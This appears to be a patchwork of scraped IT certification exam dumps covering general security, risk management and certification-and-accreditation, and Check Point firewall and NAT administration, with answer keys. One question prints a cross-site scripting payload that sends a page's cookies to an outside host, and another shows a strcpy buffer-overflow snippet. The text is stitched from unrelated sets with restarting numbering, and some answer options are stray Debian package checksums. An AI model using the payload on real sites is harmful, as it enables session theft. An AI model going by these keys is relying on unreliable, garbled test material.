B. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb 7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb
C. #include char *code = “AAAABBBBCCCCDDD”; //including the character ‘\0’ size = 16 bytes void main() {char buf[8]; strcpy(buf, code);
}
D. <form action=”/cgi-bin/login” method=post> Username: <input type=text name=username> PassworD. <input type=password name=password> <input type=submit value=Login>

Correct Answer: C
QUESTION 20
Which of the following displays an example of a XSS attack?
A. <SCRIPT> document.location=’http://site.comptia/cgi-bin/script.cgi?’+document.cookie </SCRIPT>
B. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb 7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb
C. <form action=”/cgi-bin/login” method=post> Username: <input type=text name=username> PassworD. <input type=password name=password> <input type=submit value=Login>
D. #include char *code = “AAAABBBBCCCCDDD”; //including the character ‘\0’ size = 16 bytes void main() {char buf[8]; strcpy(buf, code); }

Correct Answer: A
QUESTION 21
Several critical servers are unresponsive after an update was installed. Other computers that have not yet received the same update are operational, but are vulnerable to certain buffer overflow attacks. The security administrator is required to ensure all systems have the latest updates while minimizing any downtime.
Which of the following is the BEST risk mitigation strategy to use to ensure a system is properly updated and operational?
A. Distributed patch management system where all systems in production are patched as updates are released.
B. Central patch management system where all systems in production are patched by automatic updates as they are released.
C. Central patch management system where all updates are tested in a lab environment after being installed on a live production system.
D. Distributed patch management system where all updates are tested in a lab environment prior to being installed on a live production system.

Correct Answer: D
QUESTION 22
A business is currently in the process of upgrading its network infrastructure to accommodate a personnel growth of over fifty percent within the next six months. All preliminary planning has been completed and a risk assessment plan is being adopted to decide which security controls to put in place throughout each phase.
Which of the following risk responses is MOST likely being considered if the business is creating an SLA with a third party?
A. Accepting risk
B. Mitigating risk
C. Identifying risk
D. Transferring risk
Correct Answer: D
QUESTION 23
Which of the following must be taken into consideration for e-discovery purposes when a legal case is first presented to a company?
A. Data ownership on all files
B. Data size on physical disks
C. Data retention policies on only file servers
D. Data recovery and storage

Correct Answer: D
QUESTION 24
A company has purchased a new system, but security personnel are spending a great deal of time on system maintenance. A new third party vendor has been selected to maintain and manage the company’s system. Which of the following document types would need to be created before any work is performed?
A. IOS
B. ISA
C. SLA
D. OLA

Correct Answer: C
QUESTION 25
The security administrator of a small private firm is researching and putting together a proposal to purchase an IPS to replace an existing IDS. A specific brand and model has been selected, but the security administrator needs to gather various cost information for that product. Which of the following documents would perform a cost analysis report and include information such as payment terms?
A. RFI
B. RTO
C. RFQ
D. RFC
Correct Answer: C

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QUESTION 1
Which of the following professionals plays the role of a monitor and takes part in the organization’s configuration management process?
A. Senior Agency Information Security Officer
B. Authorizing Official
C. Common Control Provider
D. Chief Information Officer

Correct Answer: C
QUESTION 2
The Chief Information Officer (CIO), or Information Technology (IT) director, is a job title commonly given to the most senior executive in an enterprise. What are the responsibilities of a Chief Information Officer? Each correct answer represents a complete solution. Choose all that apply.
A. Preserving high-level communications and working group relationships in an organization
B. Facilitating the sharing of security risk-related information among authorizing officials
C. Establishing effective continuous monitoring program for the organization
D. Proposing the information technology needed by an enterprise to achieve its goals and then working within a budget to implement the plan

Correct Answer: ACD
QUESTION 3
The Information System Security Officer (ISSO) and Information System Security Engineer (ISSE) play the
role of a supporter and advisor, respectively. Which of the following statements are true about ISSO and
ISSE?
Each correct answer represents a complete solution. Choose all that apply.

A. An ISSE provides advice on the impacts of system changes.
B. An ISSE manages the security of the information system that is slated for Certification & Accreditation (C&A).
C. An ISSO manages the security of the information system that is slated for Certification & Accreditation (C&A).
D. An ISSO takes part in the development activities that are required to implement system changes.
E. An ISSE provides advice on the continuous monitoring of the information system.

Correct Answer: ACE
QUESTION 4
Which of the following professionals is responsible for starting the Certification & Accreditation (C&A) process?
A. Information system owner
B. Authorizing Official
C. Chief Risk Officer (CRO)
D. Chief Information Officer (CIO)
Correct Answer: A

QUESTION 5
Which of the following assessment methodologies defines a six-step technical security evaluation?
A. FITSAF
B. FIPS 102
C. OCTAVE
D. DITSCAP

Correct Answer: B
QUESTION 6
DIACAP applies to the acquisition, operation, and sustainment of any DoD system that collects, stores,
transmits, or processes unclassified or classified information since December 1997. What phases are
identified by DIACAP?
Each correct answer represents a complete solution. Choose all that apply.

A. Accreditation
B. Identification
C. System Definition
D. Verification
E. Validation
F. Re-Accreditation

Correct Answer: CDEF
QUESTION 7
Mark works as a Network Administrator for NetTech Inc. He wants users to access only those resources that are required for them. Which of the following access control models will he use?
A. Mandatory Access Control
B. Role-Based Access Control
C. Discretionary Access Control
D. Policy Access Control

Correct Answer: B
QUESTION 8
Which of the following refers to an information security document that is used in the United States Department of Defense (DoD) to describe and accredit networks and systems?
A. FITSAF
B. FIPS
C. TCSEC
D. SSAA

Correct Answer: D
QUESTION 9
James work as an IT systems personnel in SoftTech Inc. He performs the following tasks:
Runs regular backups and routine tests of the validity of the backup data. Performs data restoration from
the backups whenever required. Maintains the retained records in accordance with the established
information classification policy.
What is the role played by James in the organization?

A. Manager
B. Owner
C. Custodian
D. User
Correct Answer: C
QUESTION 10
FITSAF stands for Federal Information Technology Security Assessment Framework. It is a methodology for assessing the security of information systems. Which of the following FITSAF levels shows that the procedures and controls have been implemented?
A. Level 4
B. Level 1
C. Level 3
D. Level 5
E. Level 2

Correct Answer: C
QUESTION 11
Certification and Accreditation (C&A or CnA) is a process for implementing information security. Which of the following is the correct order of C&A phases in a DITSCAP assessment?
A. Definition, Validation, Verification, and Post Accreditation
B. Verification, Definition, Validation, and Post Accreditation
C. Verification, Validation, Definition, and Post Accreditation
D. Definition, Verification, Validation, and Post Accreditation

Correct Answer: D
QUESTION 12
System Authorization is the risk management process. System Authorization Plan (SAP) is a
comprehensive and uniform approach to the System Authorization Process. What are the different phases
of System Authorization Plan?
Each correct answer represents a part of the solution. Choose all that apply.

A. Post-Authorization
B. Pre-certification
C. Post-certification
D. Certification
E. Authorization

Correct Answer: ABDE
QUESTION 13
Certification and Accreditation (C&A or CnA) is a process for implementing information security. It is a systematic procedure for evaluating, describing, testing, and authorizing systems prior to or after a system is in operation. Which of the following statements are true about Certification and Accreditation? Each correct answer represents a complete solution. Choose two.
A. Accreditation is the official management decision given by a senior agency official to authorize operation of an information system.
B. Accreditation is a comprehensive assessment of the management, operational, and technical security controls in an information system.
C. Certification is the official management decision given by a senior agency official to authorize operation of an information system.
D. Certification is a comprehensive assessment of the management, operational, and technical security controls in an information system.

Correct Answer: AD
QUESTION 14
Which of the following requires all general support systems and major applications to be fully certified and accredited before these systems and applications are put into production? Each correct answer represents a part of the solution. Choose all that apply.
A. NIST
B. FIPS
C. FISMA
D. Office of Management and Budget (OMB)

Correct Answer: CD
QUESTION 15
The National Information Assurance Certification and Accreditation Process (NIACAP) is the minimum standard process for the certification and accreditation of computer and telecommunications systems that handle U.S. national security information. What are the different types of NIACAP accreditation? Each correct answer represents a complete solution. Choose all that apply.
A. Secure accreditation
B. Type accreditation
C. System accreditation
D. Site accreditation

Correct Answer: BCD
QUESTION 16
According to U.S. Department of Defense (DoD) Instruction 8500.2, there are eight Information Assurance
(IA) areas, and the controls are referred to as IA controls. Which of the following are among the eight
areas of IA defined by DoD?
Each correct answer represents a complete solution. Choose all that apply.

A. VI Vulnerability and Incident Management
B. DC Security Design & Configuration
C. EC Enclave and Computing Environment
D. Information systems acquisition, development, and maintenance

Correct Answer: ABC
QUESTION 17
DIACAP applies to the acquisition, operation, and sustainment of any DoD system that collects, stores,
transmits, or processes unclassified or classified information since December 1997. What phases are
identified by DIACAP?
Each correct answer represents a complete solution. Choose all that apply.

A. Validation
B. Re-Accreditation
C. Verification
D. System Definition
E. Identification
F. Accreditation

Correct Answer: ABCD
QUESTION 18
Which of the following is a subset discipline of Corporate Governance focused on information security systems and their performance and risk management?
A. Lanham Act
B. ISG
C. Clinger-Cohen Act
D. Computer Misuse Act
Correct Answer: B QUESTION 19
Ben is the project manager of the YHT Project for his company. Alice, one of his team members, is confused about when project risks will happen in the project. Which one of the following statements is the most accurate about when project risk happens?
A. Project risk can happen at any moment.
B. Project risk is uncertain, so no one can predict when the event will happen.
C. Project risk happens throughout the project execution.
D. Project riskis always in the future.

Correct Answer: D
QUESTION 20
You are the project manager of the NKJ Project for your company. The project’s success or failure will have a significant impact on your organization’s profitability for the coming year. Management has asked you to identify the risk events and communicate the event’s probability and impact as early as possible in the project. Management wants to avoid risk events and needs to analyze the cost-benefits of each risk event in this project. What term is assigned to the low-level of stakeholder tolerance in this project?
A. Risk avoidance
B. Mitigation-ready project management
C. Risk utility function
D. Risk-reward mentality

Correct Answer: C
QUESTION 21
Where can a project manager find risk-rating rules?
A. Risk probability and impact matrix
B. Organizational process assets
C. Enterprise environmental factors
D. Risk management plan

Correct Answer: B
QUESTION 22
There are five inputs to the quantitative risk analysis process. Which one of the following is NOT an input to the perform quantitative risk analysis process?
A. Risk register
B. Cost management plan
C. Risk management plan
D. Enterprise environmental factors

Correct Answer: D
QUESTION 23
Your project has several risks that may cause serious financial impact should they happen. You have studied the risk events and made some potential risk responses for the risk events but management wants you to do more. They’d like for you to create some type of a chart that identified the risk probability and impact with a financial amount for each risk event. What is the likely outcome of creating this type of chart?
A. Risk response plan
B. Quantitative analysis
C. Risk response
D. Contingency reserve

Correct Answer: D
QUESTION 24
Which of the following professionals is responsible for starting the Certification & Accreditation (C&A) process?
A. Authorizing Official
B. Chief Risk Officer (CRO)
C. Chief Information Officer (CIO)
D. Information system owner

Correct Answer: D
QUESTION 25
You are working as a project manager in your organization. You are nearing the final stages of project execution and looking towards the final risk monitoring and controlling activities. For your project archives, which one of the following is an output of risk monitoring and control?
A. Quantitative risk analysis
B. Qualitative risk analysis
C. Requested changes
D. Risk audits

Correct Answer: C
QUESTION 26
Which of the following DoD directives is referred to as the Defense Automation Resources Management Manual?
A. DoDD 8000.1
B. DoD 7950.1-M
C. DoD 5200.22-M
D. DoD 8910.1
E. DoD 5200.1-R

Correct Answer: B
QUESTION 27
The phase 3 of the Risk Management Framework (RMF) process is known as mitigation planning. Which of the following processes take place in phase 3? Each correct answer represents a complete solution. Choose all that apply.
A. Identify threats, vulnerabilities, and controls that will be evaluated.
B. Document and implement a mitigation plan.
C. Agree on a strategy to mitigate risks.
D. Evaluate mitigation progress and plan next assessment.

Correct Answer: BCD
QUESTION 28
Gary is the project manager of his organization. He is managing a project that is similar to a project his organization completed recently. Gary has decided that he will use the information from the past project to help him and the project team to identify the risks that may be present in the project. Management agrees that this checklist approach is ideal and will save time in the project. Which of the following statement is most accurate about the limitations of the checklist analysis approach for Gary?
A. The checklist analysis approach is fast but it is impossible to build and exhaustive checklist.
B. The checklist analysis approach only uses qualitative analysis.
C. The checklist analysis approach saves time, but can cost more.
D. The checklist is also known as top down risk assessment

Correct Answer: A
QUESTION 29
What are the subordinate tasks of the Initiate and Plan IA C&A phase of the DIACAP process? Each correct answer represents a complete solution. Choose all that apply.
A. Develop DIACAP strategy.
B. Assign IA controls.
C. Assemble DIACAP team.
D. Initiate IA implementation plan.
E. Register system with DoD Component IA Program.
F. Conduct validation activity.

Correct Answer: ABCDE
QUESTION 30
Information risk management (IRM) is the process of identifying and assessing risk, reducing it to an
acceptable level, and implementing the right mechanisms to maintain that level. What are the different
categories of risk?
Each correct answer represents a complete solution. Choose all that apply.

A. System interaction
B. Human interaction
C. Equipment malfunction
D. Inside and outside attacks
E. Social status
F. Physical damage

Correct Answer: BCDEF

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QUESTION 106
A Security Policy has several database versions. What configuration remains the same no matter which version is used?
A. Objects_5_0.C
B. fwauth.NDB
C. Rule Bases_5_0.fws
D. Internal Certificate Authority (ICA) certificate

Correct Answer: D QUESTION 107
You are working with multiple Security Gateways that enforce an extensive number of rules. To simplify security administration, which one of the following would you choose to do?
A. Create network objects that restrict all applicable rules to only certain networks.
B. Run separate SmartConsole instances to login and configure each Security Gateway directly.
C. Create a separate Security Policy package for each remote Security Gateway.
D. Eliminate all possible contradictory rules such as the Stealth or Cleanup rules.

Correct Answer: C QUESTION 108
Which rules are not applied on a first-match basis?
A. Client Authentication
B. Session Authentication
C. User Authentication
D. Cleanup

Correct Answer: C QUESTION 109
Installing a policy usually has no impact on currently existing connections. Which statement is TRUE?
A. All connections are reset, so a policy install is recommended during announced downtime only.
B. Users being authenticated by Client Authentication have to re-authenticate.
C. Site-to-Site VPNs need to re-authenticate, so Phase 1 is passed again after installing the Security Policy.
D. All FTP downloads are reset; users have to start their downloads again.

Correct Answer: B QUESTION 110
Several Security Policies can be used for different installation targets. The firewall protecting Human Resources’ servers should have a unique Policy Package. These rules may only be installed on this machine and not accidentally on the Internet firewall. How can this be configured?
A. A Rule Base is always installed on all possible targets. The rules to be installed on a firewall are
defined by the selection in the row Install On of the Rule Base.
B. When selecting the correct firewall in each line of the row Install On of the Rule Base, only this firewall is shown in the list of possible installation targets after selecting Policy > Install.
C. In the SmartDashboard policy, select the correct firewall to be the Specific Target of the rule.
D. A Rule Base can always be installed on any Check Point firewall object. It is necessary to select the appropriate target directly after selecting Policy > Install.

Correct Answer: C
QUESTION 111
A ___________ rule is used to prevent all traffic going to the R75 Security Gateway.
A. Cleanup
B. Stealth
C. Reject
D. IPS

Correct Answer: B
QUESTION 112
In a distributed management environment, the administrator has removed the default check from Accept Control Connections under the Policy > Global Properties > FireWall tab. In order for the Security Management Server to install a policy to the Firewall, an explicit rule must be created to allow the server to communicate to the Security Gateway on port __________.
A. 259
B. 256
C. 80
D. 900

Correct Answer: B
QUESTION 113
To check the Rule Base, some rules can be hidden so they do not distract the administrator from the unhidden rules. Assume that only rules accepting HTTP or SSH will be shown. How do you accomplish this?
A. This cannot be configured since two selections (Service, Action) are not possible.
B. Ask your reseller to get a ticket for Check Point SmartUse and deliver him the Security Management Server cpinfo file.
C. In SmartDashboard menu, select Search > Rule Base Queries. In the window that opens, create a new Query, give it a name (e.g. “HTTP_SSH”) and define a clause regarding the two services HTTP and SSH. When having applied this, define a second clause for the action Accept and combine them with the Boolean operator AND.
D. In SmartDashboard, right-click in the column field Service > Query Column. Then, put the services HTTP and SSH in the list. Do the same in the field Action and select Accept here.
Correct Answer: C
QUESTION 114
What CANNOT be configured for existing connections during a policy install?
A. Reset all connections
B. Re-match connections
C. Keep all connections
D. Keep data connections
Correct Answer: A QUESTION 115
What is the purpose of a Stealth Rule?
A. To permit implied rules.
B. To drop all traffic to the management server that is not explicitly permitted.
C. To prevent users from connecting directly to the gateway.
D. To permit management traffic.

Correct Answer: C QUESTION 116
Which of these Security Policy changes optimize Security Gateway performance?
A. Use Automatic NAT rules instead of Manual NAT rules whenever possible.
B. Using domain objects in rules when possible.
C. Using groups within groups in the manual NAT Rule Base.
D. Putting the least-used rule at the top of the Rule Base.

Correct Answer: A QUESTION 117
Your perimeter Security Gateway’s external IP is 200.200.200.3. Your network diagram shows:Required:
Allow only network 192.168.10.0 and 192.168.20.0 to go out to Internet, using 200.200.200.5.
The local network 192.168.1.0/24 needs to use 200.200.200.3 to go out to the Internet.
Assume you enable all the settings in the NAT page of Global Properties.
How do you achieve this requirement?
A. Create a network object 192.168.0.0/16. Enable Hide NAT on the NAT page. Enter
200.200.200.5 as the hiding IP address. Add an ARP entry for 200.200.200.5 for the MAC address of 200.200.200.3.
B. Create network objects for 192.168.10.0/24 and 192.168.20.0/24. Enable Hide NAT on both network objects, using 200.200.200.5 as hiding IP address. Add an ARP entry for 200.200.200.3 for the MAC address of 200.200.200.5.
C. Create an Address Range object, starting from 192.168.10.1 to 192.168.20.254. Enable Hide NAT on the NAT page of the address range object. Enter Hiding IP address 200.200.200.5. Add an ARP entry for 200.200.200.5 for the MAC address of 200.200.200.3.
D. Create two network objects: 192.168.10.0/24 and 192.168.20.0/24. Add the two network objects to a group object. Create a manual NAT rule like the following: Original source -groupobject; Destination – any; Service – any; Translated source – 200.200.200.5; Destination -original; Service – original.

Correct Answer: C
QUESTION 118
Because of pre-existing design constraints, you set up manual NAT rules for your HTTP server. However, your FTP server and SMTP server are both using automatic NAT rules. All traffic from your FTP and SMTP servers are passing through the Security Gateway without a problem, but traffic from the Web server is dropped on rule 0 because of anti-spoofing settings. What is causing this?
A. Allow bi-directional NAT is not checked in Global Properties.
B. Translate destination on client side is not checked in Global Properties under Manual NAT Rules.
C. Manual NAT rules are not configured correctly.
D. Routing is not configured correctly.

Correct Answer: B
QUESTION 119
You enable Hide NAT on the network object, 10.1.1.0 behind the Security Gateway’s external interface. You browse to from host, 10.1.1.10 successfully. You enable a log on the rule that allows 10.1.1.0 to exit the network. How many log entries do you see for that connection in SmartView Tracker?
A. Two, one for outbound, one for inbound
B. Only one, inbound
C. Only one, outbound
D. Two, both outbound, one for the real IP connection and one for the NAT IP connection

Correct Answer: C
QUESTION 120
Which of the following statements BEST describes Check Point’s Hide Network Address Translation method?
A. Translates many source IP addresses into one source IP address
B. Many-to-one NAT which implements PAT (Port Address Translation) for accomplishing both Source and Destination IP address translation
C. Translates many destination IP addresses into one destination IP address
D. One-to-one NAT which implements PAT (Port Address Translation) for accomplishing both Source and Destination IP address translation

Correct Answer: A
QUESTION 121
Which Check Point address translation method allows an administrator to use fewer ISP-assigned IP addresses than the number of internal hosts requiring Internet connectivity?
A. Static Source
B. Static Destination
C. Dynamic Destination
D. Hide

Correct Answer: D
QUESTION 122
NAT can NOT be configured on which of the following objects?
A. Host
B. HTTP Logical Server
C. Address Range
D. Gateway

Correct Answer: B
QUESTION 123
Which Check Point address translation method is necessary if you want to connect from a host on the Internet via HTTP to a server with a reserved (RFC 1918) IP address on your DMZ?
A. Hide Address Translation
B. Static Destination Address Translation
C. Port Address Translation
D. Dynamic Source Address Translation

Correct Answer: B
QUESTION 124
You want to implement Static Destination NAT in order to provide external, Internet users access to an internal Web Server that has a reserved (RFC 1918) IP address. You have an unused valid IP address on the network between your Security Gateway and ISP router. You control the router that sits between the firewall external interface and the Internet. What is an alternative configuration if proxy ARP cannot be used on your Security Gateway?
A. Publish a proxy ARP entry on the ISP router instead of the firewall for the valid IP address.
B. Publish a proxy ARP entry on the internal Web server instead of the firewall for the valid IP address.
C. Place a static host route on the firewall for the valid IP address to the internal Web server.
D. Place a static ARP entry on the ISP router for the valid IP address to the firewall’s external address.

Correct Answer: D
QUESTION 125
After implementing Static Address Translation to allow Internet traffic to an internal Web Server on your DMZ, you notice that any NATed connections to that machine are being dropped by antispoofing protections. Which of the following is the MOST LIKELY cause?
A. The Global Properties setting Translate destination on client side is checked. But the topology on the DMZ interface is set to Internal – Network defined by IP and Mask. Uncheck the Global Properties setting Translate destination on client side.
B. The Global Properties setting Translate destination on client side is unchecked. But the topology on the external interface is set to Others +. Change topology to External.
C. The Global Properties setting Translate destination on client side is checked. But the topology on the external interface is set to External. Change topology to Others +.
D. The Global Properties setting Translate destination on client side is unchecked. But the topology on the DMZ interface is set to Internal – Network defined by IP and Mask. Check the Global Properties setting Translate destination on client side.
Correct Answer: D
QUESTION 126
Which NAT option applicable for Automatic NAT applies to Manual NAT as well?
A. Translate destination on client-side
B. Enable IP Pool NAT
C. Allow bi-directional NAT
D. Automatic ARP configuration

Correct Answer: A
QUESTION 127
Your main internal network 10.10.10.0/24 allows all traffic to the Internet using Hide NAT. You also have a small network 10.10.20.0/24 behind the internal router. You want to configure the kernel to translate the source address only when network 10.10.20.0 tries to access the Internet for HTTP, SMTP, and FTP services. Which of the following configurations will allow this network to access the Internet?
A. Configure Automatic Static NAT on network 10.10.20.0/24.
B. Configure Automatic Hide NAT on network 10.10.20.0/24 and then edit the Service column in the NAT Rule Base on the automatic rule.
C. Configure one Manual Hide NAT rule for HTTP, FTP, and SMTP services for network 10.10.20.0/24.
D. Configure three Manual Static NAT rules for network 10.10.20.0/24, one for each service.

Correct Answer: C
QUESTION 128
You have three servers located in a DMZ, using private IP addresses. You want internal users from 10.10.10.x to access the DMZ servers by public IP addresses. Internal_net 10.10.10.x is configured for Hide NAT behind the Security Gateway’s external interface.

What is the best configuration for 10.10.10.x users to access the DMZ servers, using the DMZ servers’ public IP addresses?
A. When connecting to the Internet, configure manual Static NAT rules to translate the DMZ servers.
B. When connecting to internal network 10.10.10.x, configure Hide NAT for the DMZ network behind the Security Gateway DMZ interface.
C. When the source is the internal network 10.10.10.x, configure manual static NAT rules to translate the DMZ servers.
D. When trying to access DMZ servers, configure Hide NAT for 10.10.10.x behind the DMZ’s
interface. Correct Answer: C QUESTION 129 An internal host initiates a session to and is set for Hide NAT behind the Security Gateway. The initiating traffic is an example of ____________.
A. None of these
B. source NAT
C. destination NAT
D. client side NAT

Correct Answer: B QUESTION 130
A host on the Internet initiates traffic to the Static NAT IP of your Web server behind the Security Gateway. With the default settings in place for NAT, the initiating packet will translate the _________.
A. source on client side
B. source on server side
C. destination on client side
D. destination on server side

Correct Answer: C QUESTION 131
A Web server behind the Security Gateway is set to Automatic Static NAT. Client side NAT is not checked in the Global Properties. A client on the Internet initiates a session to the Web Server. Assuming there is a rule allowing this traffic, what other configuration must be done to allow the traffic to reach the Web server?
A. A static route for the NAT IP must be added to the Gateway’s upstream router.
B. Automatic ARP must be unchecked in the Global Properties.
C. Nothing else must be configured.
D. A static route must be added on the Security Gateway to the internal host.

Correct Answer: D QUESTION 132
When translation occurs using automatic Hide NAT, what also happens?
A. The destination port is modified.
B. Nothing happens.
C. The destination is modified.
D. The source port is modified.

Correct Answer: D QUESTION 133
The fw monitor utility is used to troubleshoot which of the following problems?
A. Address translation
B. Log Consolidation Engine
C. User data base corruption
D. Phase two key negotiation

Correct Answer: A
QUESTION 134
Looking at the SYN packets in the Wireshark output, select the statement that is true about NAT.

A. This is an example of Hide NAT.
B. This is an example of Static NAT and Translate destination on client side unchecked in Global Properties.
C. There is not enough information provided in the Wireshark capture to determine the NAT settings.
D. This is an example of Static NAT and Translate destination on client side checked in Global Properties.

Correct Answer: D
QUESTION 135
In SmartDashboard, Translate destination on client side is checked in Global Properties. When Network Address Translation is used:
A. VLAN tagging cannot be defined for any hosts protected by the Gateway.
B. The Security Gateway’s ARP file must be modified.
C. It is not necessary to add a static route to the Gateway’s routing table.
D. It is necessary to add a static route to the Gateway’s routing table.

Correct Answer: C

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QUESTION 74
You want to generate a cpinfo file via CLI on a system running SecurePlatform. This will take about 40 minutes since the log files are also needed. What action do you need to take regarding timeout?
A. Log in as the default user expert and start cpinfo.
B. No action is needed because cpshell has a timeout of one hour by default.
C. Log in as Administrator, set the timeout to one hour with the command idle 60 and start cpinfo.
D. Log in as admin, switch to expert mode, set the timeout to one hour with the command, idle 60, then start cpinto.

Correct Answer: C
QUESTION 75
Many companies have defined more than one administrator. To increase security, only one administrator should be able to install a Rule Base on a specific Firewall. How do you configure this?
A. Define a permission profile in SmartDashboard with read/write privileges, but restrict it to all other firewalls by placing them in the Policy Targets field. Then, an administrator with this permission profile cannot install a policy on any Firewall not listed here.
B. In the General Properties of the object representing the specific Firewall, go to the Software Blades product list and select Firewall. Right-click in the menu, select Administrator to Install to define only this administrator.
C. Put the one administrator in an Administrator group and configure this group in the specific Firewall object in Advanced / Permission to Install.
D. Right-click on the object representing the specific administrator, and select that Firewall in Policy Targets.

Correct Answer: C
QUESTION 76
You are the Security Administrator for MegaCorp. A Check Point firewall is installed and in use on a SecurePlatform. You have trouble configuring the speed and duplex settings of your Ethernet interfaces. Which of the following commands can be used to configure the speed and duplex settings of an Ethernet interface and will survive a reboot? Give the BEST answer.
A. cthtool
B. ifconfig a
C. eth_set
D. mii_tool

Correct Answer: C
QUESTION 77
Which command enables IP forwarding on IPSO?
A. echo 1 > /proc/sys/net/ipv4/ip_forward
B. clish -c set routing active enable
C. echo 0 > /proc/sys/net/ipv4/ip_forward
D. ipsofwd on admin

Correct Answer: D QUESTION 78
Looking at an fw monitor capture in Wireshark, the initiating packet in Hide NAT translates on________.
A. I
B. O
C. o
D. i

Correct Answer: B QUESTION 79
You want to create an ASCII formatted output file of the fw monitor command. What is the correct syntax to accomplish this task?
A. fw monitor -e “accept;” > /tmp/monitor.txt
B. fw monitor -e “accept;” -f > /tmp/monitor.txt
C. fw monitor -m iO -e “accept;” -o /tmp/monitor.txt
D. fw monitor -e “accept;” -w /tmp/monitor.txt

Correct Answer: A QUESTION 80
The button Get Address, found on the Host Node Object > General Properties page, will retrieve what?
A. The domain name
B. The fully qualified domain name
C. The Mac address
D. The IP address

Correct Answer: D QUESTION 81
When you change an implicit rule’s order from last to first in global properties, how do you make the change take effect?
A. Select save from the file menu
B. Reinstall the security policy
C. Select install database from the policy menu
D. Run fw fetch from the security gateway

Correct Answer: B QUESTION 82
You create implicit and explicit rules for the following network. The group object internal-networks includes networks 10.10.10.0 and 10.10.20.0. Assume Accept ICMP requests is enabled as Before last in Global Properties.
Based on these rules, what happens if you Ping from host 10.10.10.5 to a host on the Internet by IP address? ICMP will be:
A. dropped by rule 0.
B. dropped by rule 2, the Cleanup Rule.
C. accepted by rule 1.
D. dropped by the last Implicit rule.

Correct Answer: C QUESTION 83
Anti-Spoofing is typically set up on which object type?
A. Host
B. Domain
C. Network
D. Security Gateway

Correct Answer: D QUESTION 84
Spoofing is a method of:
A. Hiding your firewall from unauthorized users.
B. Disguising an illegal IP address behind an authorized IP address through port address Translation.
C. Making packets appear as if they come from an authorized IP address
D. Detecting people using false or wrong authentication logins.

Correct Answer: C QUESTION 85
Which of the below is the MOST correct process to reset SIC from SmartDashboard?
A. Run cpconfig, and click Reset.
B. Click the Communication button for the firewall object, then click Reset. Run cpconfig and type a new activation key.
C. Click Communication > Reset on the Gateway object, and type a new activation key.
D. Run cpconfig, and select Secure Internal Communication > Change One Time Password.

Correct Answer: B QUESTION 86
“Pass Any Exam. Any Time.” – www.actualtests.com 49 Checkpoint 156-215.75 Exam You installed Security Management Server on a computer using SecurePlatform in the MegaCorp home office. You use IP address 10.1.1.1. You also installed the Security Gateway on a second SecurePlatform computer, which you plan to ship to another Administrator at a MegaCorp hub office. What is the correct order for pushing SIC certificates to the Gateway before shipping it?
1) Run cpconfig on the gateway, set secure internal communication, enter the activation key and reconfirm.
2) Initialize internal certificate authority (ICA) on the security Management server.
3) Confirm the gateway object with the host name and IP address for the remote site.
4) Click the communication button in the gateway object’s general screen, enter the activation key, and click initialize and ok.
5) Install the security policy.
A. 2, 3, 4, 5, 1
B. 1, 3, 2, 4, 5
C. 2, 3, 4, 1, 5
D. 2, 1, 3, 4, 5

Correct Answer: B
QUESTION 87
You want to reset SIC between smberlin and sgosaka.
In SmartDashboard, you choose sgosaka, Communication, Reset. On sgosaka, you start cpconfig, choose Secure Internal Communication and enter the new SIC Activation Key. The screen reads The SIC was successfully initialized and jumps back to the cpconfig menu. When trying to establish a connection, instead of a working connection, you receive this error message:
What is the reason for this behavior?
A. You must first initialize the Gateway object in SmartDashboard (i.e., right-click on the object, choose Basic Setup / Initialize).
B. The Gateway was not rebooted, which is necessary to change the SIC key.
C. The Check Point services on the Gateway were not restarted because you are still in the cpconfig utility.
D. The activation key contains letters that are on different keys on localized keyboards. Therefore, the activation can not be typed in a matching fashion.

Correct Answer: C
QUESTION 88
Which rule should be the Cleanup Rule in the Rule Base?
A. Last. It serves a logging function before the implicit drop.
B. Last, it explicitly drops otherwise accepted traffic
C. Before last followed by the Stealth Rule.
D. First, it explicitly accepts otherwise dropped traffic.
Correct Answer: A
QUESTION 89
What are the two basic rules which should be used by all Security Administrators?
A. Administrator Access and Stealth rules
B. Cleanup and Administrator Access rules
C. Network Traffic and Stealth rules
D. Cleanup and Stealth rules
Correct Answer: D
QUESTION 90
When you hide a rule in a Rule Base, how can you then disable the rule?
A. Use the search utility in SmartDashboard to view all hidden rules Select the relevant rule and click Disable Rule(s).
B. Right-click on the hidden rule place-holder bar and select Disable Rule(s).
C. Right-click on the hidden rule place-holder bar and uncheck Hide, then right-click and select Disable Rule(s); re-hide the rule.
D. Hidden rules are already effectively disabled from Security Gateway enforcement.

Correct Answer: C QUESTION 91
A Stealth rule is used to:
A. Use the Security Gateway to hide the border router from internal attacks.
B. Cloak the type of Web server in use behind the Security Gateway.
C. Prevent communication to the Security Gateway itself.
D. Prevent tracking of hosts behind the Security Gateway.

Correct Answer: C QUESTION 92
A Clean-up rule is used to:
A. Drop without logging connections that would otherwise be dropped and logged fry default
B. Log connections that would otherwise be accepted without logging by default.
C. Log connections that would otherwise be dropped without logging by default.
D. Drop without logging connections that would otherwise be accepted and logged by default

Correct Answer: C QUESTION 93
Which statement is TRUE about implicit rules?
A. They are derived from Global Properties and explicit object properties.
B. The Gateway enforces implicit rules that enable outgoing packets only.
C. You create them in SmartDashboard.
D. Changes to the Security Gateway’s default settings do not affect implicit rules.

Correct Answer: A QUESTION 94
You have included the Cleanup Rule in your Rule Base. Where in the Rule Base should the Accept ICMP Requests implied rule have no effect?
A. First
B. Before Last
C. Last
D. After Stealth Rule

